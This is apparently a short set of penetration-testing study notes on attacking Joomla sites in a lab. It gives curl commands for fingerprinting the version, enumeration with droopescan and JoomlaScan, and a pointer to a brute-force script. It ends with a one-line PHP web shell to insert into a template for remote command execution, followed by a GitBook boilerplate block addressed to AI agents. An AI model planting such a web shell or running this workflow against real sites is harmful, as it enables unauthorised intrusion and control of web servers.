> For the complete documentation index, see [llms.txt](https://docs.wehost.co.in/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.wehost.co.in/cybersecurity/joomla-attacks.md).

# Joomla Attacks

* get Joomla installs!

```shell-session
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
```

### Discovery/Footprinting

```shell-session
curl -s http://dev.inlanefreight.local/ | grep Joomla
```

```shell-session
curl -s http://dev.inlanefreight.local/README.txt | head -n 5
```

```shell-session
curl -s http://dev.inlanefreight.local/administrator/manifests/files/joomla.xml | xmllint --format -
```

* The `cache.xml` file can help to give us the approximate version.

```
curl -s http://app.inlanefreight.local/plugins/system/cache/cache.xml | xmllint --format -
```

### Enumeration

*  try out [droopescan](https://github.com/droope/droopescan)

#### droopescan

```shell-session
sudo pip3 install droopescan
```

```shell-session
droopescan -h
```

```shell-session
droopescan scan joomla --url http://dev.inlanefreight.local/
```

#### JoomlaScan

*  We can also try out [JoomlaScan](https://github.com/drego85/JoomlaScan), which is a Python tool inspired by the now-defunct OWASP [joomscan](https://github.com/OWASP/joomscan) tool.

```
sudo python2.7 -m pip install urllib3

sudo python2.7 -m pip install certifi

sudo python2.7 -m pip install bs4
```

```shell-session
python2.7 joomlascan.py -u http://dev.inlanefreight.local
```

### brute-forcing

* The default administrator account on Joomla installs is `admin`,
  * but the password is set at install time
* We can use this [script](https://github.com/ajnik/joomla-bruteforce) to attempt to brute force the login.

## Attacking Joomla

* add to templated file

```php
system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']);
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.wehost.co.in/cybersecurity/joomla-attacks.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.